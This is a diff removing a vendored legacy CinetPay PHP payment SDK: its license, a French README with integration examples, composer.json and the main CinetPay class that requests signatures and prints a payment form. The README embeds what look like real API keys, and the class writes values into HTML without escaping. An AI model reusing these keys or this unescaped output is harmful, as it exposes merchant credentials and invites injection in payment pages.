## Supported Versions
|
||||
|
||||
Only the last two release streams are supported.
|
||||
|
||||
| Version | Supported |
|
||||
| ------- | ------------------ |
|
||||
| 0.9.x | :white_check_mark: |
|
||||
| 0.8.x | :white_check_mark: |
|
||||
| < 0.8 | :x: |
|
||||
|
||||
## Reporting a Vulnerability
|
||||
|
||||
To report a security vulnerability, please use the
|
||||
[Tidelift security contact](https://tidelift.com/security).
|
||||
Tidelift will coordinate the fix and disclosure.
|
||||
21
vendor/cinetpay/cinetpay-php/LICENSE
vendored
21
vendor/cinetpay/cinetpay-php/LICENSE
vendored
@@ -1,21 +0,0 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2016 CinetPay
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
126
vendor/cinetpay/cinetpay-php/README.md
vendored
126
vendor/cinetpay/cinetpay-php/README.md
vendored
@@ -1,126 +0,0 @@
|
||||
# CinetPay SDK PHP Integration (Legacy)
|
||||
|
||||
CinetPay SDK PHP Integration permet d'intégrer rapidement CinetPay à un site en ligne fait avec PHP.
|
||||
|
||||
## Installation
|
||||
|
||||
Veuillez utiliser composer pour installer CinetPay SDK PHP dans votre projet :
|
||||
```shell
|
||||
composer require cinetpay/cinetpay-php
|
||||
```
|
||||
|
||||
## Génération du Formulaire de Paiement
|
||||
|
||||
```php
|
||||
<?php
|
||||
use CinetPay\CinetPay;
|
||||
/*
|
||||
* Preparation des elements constituant le panier
|
||||
*/
|
||||
$apiKey = "12912847765bc0db748fdd44.40081707"; //Veuillez entrer votre apiKey
|
||||
$site_id = "445160"; //Veuillez entrer votre siteId
|
||||
$id_transaction = CinetPay::generateTransId(); // Identifiant du Paiement
|
||||
$description_du_paiement = sprintf('Mon produit de ref %s', $id_transaction); // Description du Payment
|
||||
$date_transaction = date("Y-m-d H:i:s"); // Date Paiement dans votre système
|
||||
$montant_a_payer = mt_rand(100, 200); // Montant à Payer : minimun est de 100 francs sur CinetPay
|
||||
$devise = 'XOF'; // Montant à Payer : minimun est de 100 francs sur CinetPay
|
||||
$identifiant_du_payeur = 'payeur@domaine.ci'; // Mettez ici une information qui vous permettra d'identifier de façon unique le payeur
|
||||
$formName = "goCinetPay"; // nom du formulaire CinetPay
|
||||
$notify_url = ''; // Lien de notification CallBack CinetPay (IPN Link)
|
||||
$return_url = ''; // Lien de retour CallBack CinetPay
|
||||
$cancel_url = ''; // Lien d'annulation CinetPay
|
||||
// Configuration du bouton
|
||||
$btnType = 2;//1-5xwxxw
|
||||
$btnSize = 'large'; // 'small' pour reduire la taille du bouton, 'large' pour une taille moyenne ou 'larger' pour une taille plus grande
|
||||
|
||||
// Paramétrage du panier CinetPay et affichage du formulaire
|
||||
$cp = new CinetPay($site_id, $apiKey);
|
||||
try {
|
||||
$cp->setTransId($id_transaction)
|
||||
->setDesignation($description_du_paiement)
|
||||
->setTransDate($date_transaction)
|
||||
->setAmount($montant_a_payer)
|
||||
->setCurrency($devise)
|
||||
->setDebug(true)// Valorisé à true, si vous voulez activer le mode debug sur cinetpay afin d'afficher toutes les variables envoyées chez CinetPay
|
||||
->setCustom($identifiant_du_payeur)// optional
|
||||
->setNotifyUrl($notify_url)// optional
|
||||
->setReturnUrl($return_url)// optional
|
||||
->setCancelUrl($cancel_url)// optional
|
||||
->displayPayButton($formName, $btnType, $btnSize);
|
||||
} catch (Exception $e) {
|
||||
print $e->getMessage();
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
## Script de notification (IPN Script)
|
||||
|
||||
```php
|
||||
<?php
|
||||
use CinetPay\CinetPay;
|
||||
|
||||
$id_transaction = $_POST['cpm_trans_id'];
|
||||
if (!empty($id_transaction)) {
|
||||
try {
|
||||
$apiKey = "21585943f75164bbc2.38014639"; //Veuillez entrer votre apiKey
|
||||
$site_id = "296911"; //Veuillez entrer votre siteId
|
||||
|
||||
$cp = new CinetPay($site_id, $apiKey);
|
||||
|
||||
// Reprise exacte des bonnes données chez CinetPay
|
||||
$cp->setTransId($id_transaction)->getPayStatus();
|
||||
$paymentData = [
|
||||
"cpm_site_id" => $cp->_cpm_site_id,
|
||||
"signature" => $cp->_signature,
|
||||
"cpm_amount" => $cp->_cpm_amount,
|
||||
"cpm_trans_id" => $cp->_cpm_trans_id,
|
||||
"cpm_custom" => $cp->_cpm_custom,
|
||||
"cpm_currency" => $cp->_cpm_currency,
|
||||
"cpm_payid" => $cp->_cpm_payid,
|
||||
"cpm_payment_date" => $cp->_cpm_payment_date,
|
||||
"cpm_payment_time" => $cp->_cpm_payment_time,
|
||||
"cpm_error_message" => $cp->_cpm_error_message,
|
||||
"payment_method" => $cp->_payment_method,
|
||||
"cpm_phone_prefixe" => $cp->_cpm_phone_prefixe,
|
||||
"cel_phone_num" => $cp->_cel_phone_num,
|
||||
"cpm_ipn_ack" => $cp->_cpm_ipn_ack,
|
||||
"created_at" => $cp->_created_at,
|
||||
"updated_at" => $cp->_updated_at,
|
||||
"cpm_result" => $cp->_cpm_result,
|
||||
"cpm_trans_status" => $cp->_cpm_trans_status,
|
||||
"cpm_designation" => $cp->_cpm_designation,
|
||||
"buyer_name" => $cp->_buyer_name,
|
||||
];
|
||||
// Recuperation de la ligne de la transaction dans votre base de données
|
||||
|
||||
// Verification de l'etat du traitement de la commande
|
||||
|
||||
// Si le paiement est bon alors ne traitez plus cette transaction : die();
|
||||
|
||||
// On verifie que le montant payé chez CinetPay correspond à notre montant en base de données pour cette transaction
|
||||
|
||||
// On verifie que le paiement est valide
|
||||
if ($cp->isValidPayment()) {
|
||||
echo 'Felicitation, votre paiement a été effectué avec succès';
|
||||
die();
|
||||
} else {
|
||||
echo 'Echec, votre paiement a échoué pour cause : ' . $cp->_cpm_error_message;
|
||||
die();
|
||||
}
|
||||
} catch (Exception $e) {
|
||||
// Une erreur s'est produite
|
||||
echo "Erreur :" . $e->getMessage();
|
||||
}
|
||||
} else {
|
||||
// redirection vers la page d'accueil
|
||||
die();
|
||||
}
|
||||
?>
|
||||
```
|
||||
## Votre Api Key et Site ID
|
||||
|
||||
Ces informations sont disponibles dans votre BackOffice CinetPay.
|
||||
|
||||
## Aller en profondeur
|
||||
|
||||
[Page Développeur CinetPay](https://cinetpay.com/developer)
|
||||
35
vendor/cinetpay/cinetpay-php/composer.json
vendored
35
vendor/cinetpay/cinetpay-php/composer.json
vendored
@@ -1,35 +0,0 @@
|
||||
{
|
||||
"name": "cinetpay/cinetpay-php",
|
||||
"description": "easily integrate cinetpay's gateway on your php web site.",
|
||||
"version": "1.9.2",
|
||||
"keywords": [
|
||||
"cinetpay",
|
||||
"integration",
|
||||
"mobile",
|
||||
"money"
|
||||
],
|
||||
"time": "2020-11-30",
|
||||
"homepage": "https://github.com/cinetpay/cinetpay-php-legacy",
|
||||
"license": "MIT",
|
||||
"authors": [
|
||||
{
|
||||
"name": "Fawaz Adisa",
|
||||
"email": "adisaf@programmer.net",
|
||||
"role": "Developer"
|
||||
}
|
||||
],
|
||||
"support": {
|
||||
"email": "support@cinetpay.com"
|
||||
},
|
||||
"minimum-stability": "stable",
|
||||
"require": {
|
||||
"php": ">=5.6.0",
|
||||
"ext-json": "*",
|
||||
"ext-curl": "*"
|
||||
},
|
||||
"autoload": {
|
||||
"psr-0": {
|
||||
"CinetPay": "src/"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,767 +0,0 @@
|
||||
<?php
|
||||
/**
|
||||
* CinetPay
|
||||
*
|
||||
* LICENSE
|
||||
*
|
||||
* This source file is subject to the MIT License that is bundled
|
||||
* with this package in the file LICENSE.
|
||||
* If you did not receive a copy of the license and are unable to
|
||||
* obtain it through the world-wide-web, please send an email
|
||||
* to support@cinetpay.com so we can send you a copy immediately.
|
||||
*
|
||||
* @category CinetPay
|
||||
* @package cinetpay
|
||||
* @version 1.9.2
|
||||
* @license MIT
|
||||
*/
|
||||
|
||||
namespace CinetPay;
|
||||
|
||||
/**
|
||||
* Class Base CinetPay
|
||||
* @category CinetPay
|
||||
* @package CinetPay
|
||||
* @copyright Copyright (c) 20015-2016 CinetPay Inc. (https://cinetpay.com)
|
||||
*/
|
||||
class CinetPay
|
||||
{
|
||||
const URI_WEBSITE_PROD = 'cinetpay.com';
|
||||
const URI_WEBSITE_DEV = 'cinetpay.com';
|
||||
const URI_CASH_DESK_PROD = 'secure.cinetpay.com';
|
||||
const URI_CASH_DESK_DEV = 'secure.cinetpay.com';
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cpm_page_action = "PAYMENT";
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cpm_payment_config = "SINGLE";
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cpm_version = 'v1';
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cpm_language = "fr";
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cpm_currency = "XOF";
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cpm_trans_date = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cpm_trans_id = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cpm_designation = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cpm_custom = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cpm_amount = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cpm_site_id = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_notify_url = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_return_url = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cfg_cancel_url = null;
|
||||
public $_cfg_phone_prefixe = null;
|
||||
public $_cfg_cel_phone_num = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
public $_cashDeskUri = null;
|
||||
public $_signature = null;
|
||||
public $_cpm_site_id = null;
|
||||
public $_cpm_amount = null;
|
||||
public $_cpm_trans_date = null;
|
||||
public $_cpm_trans_id = null;
|
||||
public $_cpm_custom = null;
|
||||
public $_cpm_currency = null;
|
||||
public $_cpm_payid = null;
|
||||
public $_cpm_payment_date = null;
|
||||
public $_cpm_payment_time = null;
|
||||
public $_cpm_error_message = null;
|
||||
public $_payment_method = null;
|
||||
public $_cpm_phone_prefixe = null;
|
||||
public $_cel_phone_num = null;
|
||||
public $_cpm_ipn_ack = null;
|
||||
public $_created_at = null;
|
||||
public $_updated_at = null;
|
||||
public $_cpm_result = null;
|
||||
public $_cpm_trans_status = null;
|
||||
public $_cpm_designation = null;
|
||||
public $_buyer_name = null;
|
||||
public $platformUrl = null;
|
||||
/**
|
||||
* If true, an SSL secure connection (port 443) is used for the post back
|
||||
* as recommended by cinetpay. If false, a standard HTTP (port 80) connection
|
||||
* is used. Default true.
|
||||
*
|
||||
* @var boolean
|
||||
*/
|
||||
public $_use_ssl = true;
|
||||
/**
|
||||
* If true, the cinetpay sandbox URI www.sandbox.cinetpay.com is used for the
|
||||
* post back. If false, the live URI www.cinetpay.com is used. Default false.
|
||||
*
|
||||
* @var boolean
|
||||
*/
|
||||
public $_use_sandbox = false;
|
||||
/**
|
||||
* If true, the cinetpay sandbox URI www.sandbox.cinetpay.com is used for the
|
||||
* post back. If false, the live URI www.cinetpay.com is used. Default false.
|
||||
*
|
||||
* @var boolean
|
||||
*/
|
||||
public $_plateform_cp = false;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
protected $_cfg_apikey = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
protected $_signatureUri = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
protected $_checkPayStatusUri = null;
|
||||
/**
|
||||
* An identifier
|
||||
* @var string
|
||||
*/
|
||||
protected $_webSiteUri = null;
|
||||
/**
|
||||
* @var bool
|
||||
*/
|
||||
private $_debug = false;
|
||||
|
||||
private $_URI_GET_SIGNATURE_PROD = null;
|
||||
private $_URI_GET_SIGNATURE_DEV = null;
|
||||
private $_URI_CHECK_PAY_STATUS_PROD = null;
|
||||
private $_URI_CHECK_PAY_STATUS_DEV = null;
|
||||
|
||||
/**
|
||||
* CP constructor.
|
||||
* @param $siteId
|
||||
* @param $apiKey
|
||||
* @param string $mode
|
||||
* @param string $version
|
||||
* @param array $params
|
||||
*/
|
||||
public function __construct($siteId, $apiKey, $mode = "PROD", $version = 'v1', $params = null)
|
||||
{
|
||||
$this->_use_ssl = true;
|
||||
if ($mode == "PROD") {
|
||||
$this->_use_sandbox = false;
|
||||
$this->_URI_GET_SIGNATURE_PROD = sprintf('api.cinetpay.com/%s/?method=getSignatureByPost', strtolower($version));
|
||||
$this->_URI_CHECK_PAY_STATUS_PROD = sprintf('api.cinetpay.com/%s/?method=checkPayStatus', strtolower($version));
|
||||
$this->_cfg_cpm_version = strtoupper($version);
|
||||
} elseif ($mode == "DOUANE") {
|
||||
$this->_use_sandbox = false;
|
||||
$this->_plateform_cp = true;
|
||||
$this->_URI_GET_SIGNATURE_DOUANE = sprintf('api-douane.cinetpay.com/%s/?method=getSignatureByPost', strtolower($version));
|
||||
$this->_URI_CHECK_PAY_STATUS_DOUANE = sprintf('api-douane.cinetpay.com/%s/?method=checkPayStatus', strtolower($version));
|
||||
$this->_cfg_cpm_version = strtoupper($version);
|
||||
} else {
|
||||
die("La plateforme " . $mode . " n'est pas supporte par CinetPay");
|
||||
}
|
||||
|
||||
if (is_null($params) || (!empty($params['style']) && $params['style'] == true)) {
|
||||
$style = '<style>.cpButton { white-space: nowrap; }.cpButton .field-error { border: 1px solid #FF0000; }.cpButton .hide { display: none; }.cpButton .error-box { background: #FFFFFF; border: 1px solid #DADADA; border-radius: 5px; padding: 8px; display: inline-block; }.cpButton button { white-space: nowrap; overflow: hidden; border-radius: 13px; font-family: "Arial", bold, italic; font-weight: bold; font-style: italic; border: 1px solid #2ECC71; color: #000000; background: #2ECC71; position: relative; text-shadow: 0 1px 0 rgba(255,255,255,.5); cursor: pointer; z-index: 0; }.cpButton button:before { content: " "; position: absolute; width: 100%; height: 100%; border-radius: 11px; top: 0; left: 0; background: #2ECC71; background: -webkit-linear-gradient(top, #28B463 0%,#28B463 80%,#FFF8FC 100%); background: -moz-linear-gradient(top, #28B463 0%,#28B463 80%,#FFF8FC 100%); background: -ms-linear-gradient(top, #28B463 0%,#28B463 80%,#FFF8FC 100%); background: linear-gradient(top, #28B463 0%,#28B463 80%,#FFF8FC 100%); z-index: -2; }.cpButton button:after { content: " "; position: absolute; width: 98%; height: 60%; border-radius: 40px 40px 38px 38px; top: 0; left: 0; background: -webkit-linear-gradient(top, #fefefe 0%, #28B463 100%); background: -moz-linear-gradient(top, #fefefe 0%, #28B463 100%); background: -ms-linear-gradient(top, #fefefe 0%, #28B463 100%); background: linear-gradient(top, #fefefe 0%, #28B463 100%); z-index: -1; -webkit-transform: translateX(1%);-moz-transform: translateX(1%); -ms-transform: translateX(1%); transform: translateX(1%); }.cpButton button.small { padding: 3px 15px; font-size: 12px; }.cpButton button.large { padding: 4px 19px; font-size: 14px; }.cpButton button.larger { padding: 5px 30px; font-size: 20px; }</style>';
|
||||
print($style);
|
||||
}
|
||||
$this->_cfg_cpm_site_id = $siteId;
|
||||
|
||||
$this->_cfg_apikey = $apiKey;
|
||||
$http_prefixe = ($this->_use_ssl) ? 'https://' : 'http://';
|
||||
$this->_cashDeskUri = $http_prefixe . $this->getCashDeskHost();
|
||||
$this->_signatureUri = $http_prefixe . $this->getSignatureHost();
|
||||
$this->_checkPayStatusUri = $http_prefixe . $this->getCheckPayStatusHost();
|
||||
$this->_webSiteUri = $http_prefixe . $this->getWebSiteHost();
|
||||
}
|
||||
|
||||
/**
|
||||
* @return string
|
||||
*/
|
||||
private function getCashDeskHost()
|
||||
{
|
||||
if ($this->_use_sandbox) {
|
||||
return self::URI_CASH_DESK_DEV;
|
||||
} else {
|
||||
return self::URI_CASH_DESK_PROD;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return string
|
||||
*/
|
||||
private function getSignatureHost()
|
||||
{
|
||||
if (!$this->_plateform_cp) {
|
||||
if ($this->_use_sandbox) {
|
||||
return $this->_URI_GET_SIGNATURE_DEV;
|
||||
} else {
|
||||
return $this->_URI_GET_SIGNATURE_PROD;
|
||||
}
|
||||
} else {
|
||||
return $this->_URI_GET_SIGNATURE_DOUANE;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return string
|
||||
*/
|
||||
private function getCheckPayStatusHost()
|
||||
{
|
||||
if (!$this->_plateform_cp) {
|
||||
if ($this->_use_sandbox) {
|
||||
return $this->_URI_CHECK_PAY_STATUS_DEV;
|
||||
} else {
|
||||
return $this->_URI_CHECK_PAY_STATUS_PROD;
|
||||
}
|
||||
} else {
|
||||
return $this->_URI_CHECK_PAY_STATUS_DOUANE;
|
||||
}
|
||||
}
|
||||
|
||||
private function getWebSiteHost()
|
||||
{
|
||||
if ($this->_use_sandbox) {
|
||||
return self::URI_WEBSITE_DEV;
|
||||
} else {
|
||||
return self::URI_WEBSITE_PROD;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* print cinetpay pay form button
|
||||
* @param $formName
|
||||
* @param int $btnType
|
||||
* @param string $size
|
||||
* @throws \Exception $e
|
||||
*/
|
||||
public function displayPayButton($formName, $btnType = 1, $size = "large")
|
||||
{
|
||||
print $this->getPayButton($formName, $btnType, $size);
|
||||
}
|
||||
|
||||
/**
|
||||
* get the cinetpay pay form
|
||||
* @param $formName
|
||||
* @param int $btnType
|
||||
* @param string $size
|
||||
* @return string
|
||||
* @throws \Exception
|
||||
*/
|
||||
public function getPayButton($formName, $btnType = 1, $size = "large")
|
||||
{
|
||||
$this->getSignature();
|
||||
if (empty($this->_cfg_apikey)) {
|
||||
throw new \Exception("Erreur: ApiKey non definie");
|
||||
}
|
||||
if (empty($this->_cashDeskUri)) {
|
||||
throw new \Exception("Erreur: Url de paiement non definie");
|
||||
}
|
||||
if (empty($this->_cfg_cpm_site_id)) {
|
||||
throw new \Exception("Erreur: Site ID non definie");
|
||||
}
|
||||
if (empty($this->_cfg_cpm_currency)) {
|
||||
throw new \Exception("Erreur: Devise non definie");
|
||||
}
|
||||
if (empty($this->_cfg_cpm_page_action)) {
|
||||
throw new \Exception("Erreur: Page action non definie");
|
||||
}
|
||||
if (empty($this->_cfg_cpm_payment_config)) {
|
||||
throw new \Exception("Erreur: Payment config non definie");
|
||||
}
|
||||
if (empty($this->_cfg_cpm_version)) {
|
||||
throw new \Exception("Erreur: Version non definie");
|
||||
}
|
||||
if (empty($this->_cfg_cpm_language)) {
|
||||
throw new \Exception("Erreur: Langue non definie");
|
||||
}
|
||||
if (empty($this->_cfg_cpm_trans_date)) {
|
||||
throw new \Exception("Erreur: Date de la transaction non definie");
|
||||
}
|
||||
if (empty($this->_cfg_cpm_trans_id)) {
|
||||
throw new \Exception("Erreur: ID de la transaction non definie");
|
||||
}
|
||||
if (empty($this->_cfg_cpm_designation)) {
|
||||
throw new \Exception("Erreur: Designation de la transaction non definie");
|
||||
}
|
||||
if (empty($this->_cfg_cpm_amount)) {
|
||||
throw new \Exception("Erreur: Montant de la transaction non definie");
|
||||
}
|
||||
if (empty($this->_signature)) {
|
||||
throw new \Exception("Erreur: Signature de la transaction non trouvee");
|
||||
}
|
||||
if (empty($formName)) {
|
||||
throw new \Exception("Erreur: Nom du formulaire non definie");
|
||||
}
|
||||
|
||||
$form = "<form id='" . $formName . "' name='" . $formName . "' action='" . $this->_cashDeskUri . "' class='cpButton' method='post'>";
|
||||
$form .= "<input type='hidden' name='apikey' value='" . $this->_cfg_apikey . "'>";
|
||||
$form .= "<input type='hidden' name='cpm_site_id' value='" . $this->_cfg_cpm_site_id . "'>";
|
||||
$form .= "<input type='hidden' name='cpm_currency' value='" . $this->_cfg_cpm_currency . "'>";
|
||||
$form .= "<input type='hidden' name='cpm_page_action' value='" . $this->_cfg_cpm_page_action . "'>";
|
||||
$form .= "<input type='hidden' name='cpm_payment_config' value='" . $this->_cfg_cpm_payment_config . "'>";
|
||||
$form .= "<input type='hidden' name='cpm_version' value='" . $this->_cfg_cpm_version . "'>";
|
||||
$form .= "<input type='hidden' name='cpm_language' value='" . $this->_cfg_cpm_language . "'>";
|
||||
$form .= "<input type='hidden' name='cpm_trans_date' value='" . $this->_cfg_cpm_trans_date . "'>";
|
||||
$form .= "<input type='hidden' name='cpm_trans_id' value='" . $this->_cfg_cpm_trans_id . "'>";
|
||||
$form .= "<input type='hidden' name='cpm_designation' value='" . $this->_cfg_cpm_designation . "'>";
|
||||
$form .= "<input type='hidden' name='cpm_amount' value='" . $this->_cfg_cpm_amount . "'>";
|
||||
$form .= "<input type='hidden' name='signature' value='" . $this->_signature . "'>";
|
||||
if (!empty($this->_cfg_cel_phone_num) && !empty($this->_cfg_phone_prefixe)) {
|
||||
$form .= "<input type='hidden' name='cel_phone_num' value='" . $this->_cfg_cel_phone_num . "'>";
|
||||
$form .= "<input type='hidden' name='cpm_phone_prefixe' value='" . $this->_cfg_phone_prefixe . "'>";
|
||||
}
|
||||
if (!empty($this->_cfg_cpm_custom)) {
|
||||
$form .= "<input type='hidden' name='cpm_custom' value='" . $this->_cfg_cpm_custom . "'>";
|
||||
}
|
||||
if (!empty($this->_cfg_notify_url)) {
|
||||
$form .= "<input type='hidden' name='notify_url' value='" . $this->_cfg_notify_url . "'>";
|
||||
}
|
||||
if (!empty($this->_cfg_return_url)) {
|
||||
$form .= "<input type='hidden' name='return_url' value='" . $this->_cfg_return_url . "'>";
|
||||
}
|
||||
if (!empty($this->_cfg_cancel_url)) {
|
||||
$form .= "<input type='hidden' name='cancel_url' value='" . $this->_cfg_cancel_url . "'>";
|
||||
}
|
||||
if ($this->_debug == true) {
|
||||
$form .= "<input type='hidden' name='debug' value='1'>";
|
||||
}
|
||||
|
||||
$form .= $this->getOnlyPayButtonToSubmit($formName, $btnType, $size);
|
||||
$form .= "</form>";
|
||||
return $form;
|
||||
}
|
||||
|
||||
/**
|
||||
* get CinetPay unique signature for your basket
|
||||
* @return mixed|null
|
||||
* @throws \Exception
|
||||
*/
|
||||
public function getSignature()
|
||||
{
|
||||
$data = (array)$this->getPaySignatureArray();
|
||||
$flux_json = $this->callCinetpayWsMethod($data, $this->_signatureUri);
|
||||
if ($flux_json === false) {
|
||||
throw new \Exception("Un probleme est survenu lors de l'appel du WS !");
|
||||
}
|
||||
|
||||
$this->_signature = json_decode($flux_json, true);
|
||||
if (is_array($this->_signature)) {
|
||||
if (!isset($this->_signature['status'])) {
|
||||
$message = 'La plateforme CINETPAY est temporairement indisponible.';
|
||||
} else {
|
||||
$message = 'Une erreur est survenue, Code: ' . $this->_signature['status']['code'] . ', Message: ' . $this->_signature['status']['message'];
|
||||
}
|
||||
throw new \Exception($message);
|
||||
}
|
||||
return $this->_signature;
|
||||
}
|
||||
|
||||
private function getPaySignatureArray()
|
||||
{
|
||||
$dataArray = array(
|
||||
'apikey' => $this->_cfg_apikey,
|
||||
'cpm_site_id' => $this->_cfg_cpm_site_id,
|
||||
'cpm_currency' => $this->_cfg_cpm_currency,
|
||||
'cpm_payment_config' => $this->_cfg_cpm_payment_config,
|
||||
'cpm_page_action' => $this->_cfg_cpm_page_action,
|
||||
'cpm_version' => $this->_cfg_cpm_version,
|
||||
'cpm_language' => $this->_cfg_cpm_language,
|
||||
'cpm_trans_date' => $this->_cfg_cpm_trans_date,
|
||||
'cpm_trans_id' => $this->_cfg_cpm_trans_id,
|
||||
'cpm_designation' => $this->_cfg_cpm_designation,
|
||||
'cpm_amount' => $this->_cfg_cpm_amount
|
||||
);
|
||||
|
||||
if (!empty($this->_cfg_cel_phone_num) && !empty($this->_cfg_phone_prefixe)) {
|
||||
$dataArray['cel_phone_num'] = $this->_cfg_cel_phone_num;
|
||||
$dataArray['cpm_phone_prefixe'] = $this->_cfg_phone_prefixe;
|
||||
}
|
||||
|
||||
if (!empty($this->_cfg_cpm_custom)) {
|
||||
$dataArray['cpm_custom'] = $this->_cfg_cpm_custom;
|
||||
}
|
||||
return $dataArray;
|
||||
}
|
||||
|
||||
private function callCinetpayWsMethod($params, $url, $method = 'POST')
|
||||
{
|
||||
if (function_exists('curl_version')) {
|
||||
try {
|
||||
$curl = curl_init();
|
||||
if ($method == 'POST') {
|
||||
$postfield = '';
|
||||
foreach ($params as $index => $value) {
|
||||
$postfield .= $index . '=' . $value . "&";
|
||||
}
|
||||
$postfield = substr($postfield, 0, -1);
|
||||
} else {
|
||||
$postfield = null;
|
||||
}
|
||||
curl_setopt_array($curl, array(
|
||||
CURLOPT_URL => $url,
|
||||
CURLOPT_RETURNTRANSFER => true,
|
||||
CURLOPT_ENCODING => "",
|
||||
CURLOPT_MAXREDIRS => 10,
|
||||
CURLOPT_TIMEOUT => 45,
|
||||
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
|
||||
CURLOPT_CUSTOMREQUEST => $method,
|
||||
CURLOPT_POSTFIELDS => $postfield,
|
||||
CURLOPT_HTTPHEADER => array(
|
||||
"cache-control: no-cache",
|
||||
"content-type: application/x-www-form-urlencoded",
|
||||
),
|
||||
));
|
||||
$response = curl_exec($curl);
|
||||
$err = curl_error($curl);
|
||||
curl_close($curl);
|
||||
if ($err) {
|
||||
throw new \Exception("Error :" . $err);
|
||||
} else {
|
||||
return $response;
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception($e);
|
||||
}
|
||||
} elseif (ini_get('allow_url_fopen')) {
|
||||
try {
|
||||
// Build Http query using params
|
||||
$query = http_build_query($params);
|
||||
// Create Http context details
|
||||
$options = array(
|
||||
'http' => array(
|
||||
'header' => "Content-Type: application/x-www-form-urlencoded\r\n" .
|
||||
"Content-Length: " . strlen($query) . "\r\n" .
|
||||
"User-Agent:MyAgent/1.0\r\n",
|
||||
'method' => "POST",
|
||||
'content' => $query,
|
||||
),
|
||||
);
|
||||
// Create context resource for our request
|
||||
$context = stream_context_create($options);
|
||||
// Read page rendered as result of your POST request
|
||||
$result = file_get_contents(
|
||||
$url, // page url
|
||||
false,
|
||||
$context
|
||||
);
|
||||
return trim($result);
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception($e);
|
||||
}
|
||||
} else {
|
||||
throw new \Exception("Vous devez activer curl ou allow_url_fopen pour utiliser CinetPay");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* get only button of cinetpay pay form
|
||||
* @param $formName
|
||||
* @param int $btnType
|
||||
* @param $size
|
||||
* @return string
|
||||
*/
|
||||
public function getOnlyPayButtonToSubmit($formName, $btnType = 1, $size)
|
||||
{
|
||||
$size = ($size == 'small') ? 'small' : (($size == 'larger') ? 'larger' : 'large');
|
||||
|
||||
if (!empty($formName) && $btnType == 1) {
|
||||
$btn = "<button class='cpButton " . $size . "'> Acheter </button>";
|
||||
} elseif (!empty($formName) && $btnType == 2) {
|
||||
$btn = "<button class='cpButton " . $size . "'> Payer </button>";
|
||||
} elseif (!empty($formName) && $btnType == 3) {
|
||||
$btn = "<button class='cpButton " . $size . "'> Faire un don </button>";
|
||||
} elseif (!empty($formName) && $btnType == 4) {
|
||||
$btn = "<button class='cpButton " . $size . "'> Payer avec CinetPay</button>";
|
||||
} else {
|
||||
$btn = "<button class='cpButton " . $size . "'> Payer maintenant </button>";
|
||||
}
|
||||
return $btn;
|
||||
}
|
||||
|
||||
/**
|
||||
* get proper value for your payment's variables
|
||||
* @return bool
|
||||
* @throws \Exception
|
||||
*/
|
||||
public function getPayStatus()
|
||||
{
|
||||
$data = (array)$this->getPayStatusArray();
|
||||
|
||||
$flux_json = $this->callCinetpayWsMethod($data, $this->_checkPayStatusUri);
|
||||
if ($flux_json === false) {
|
||||
throw new \Exception("Un probleme est survenu lors de l'appel du WS !");
|
||||
}
|
||||
|
||||
$decodeText = html_entity_decode($flux_json);
|
||||
$array_flux_json = json_decode($decodeText, true);
|
||||
|
||||
$this->_cpm_site_id = $array_flux_json['transaction']['cpm_site_id'];
|
||||
$this->_signature = $array_flux_json['transaction']['signature'];
|
||||
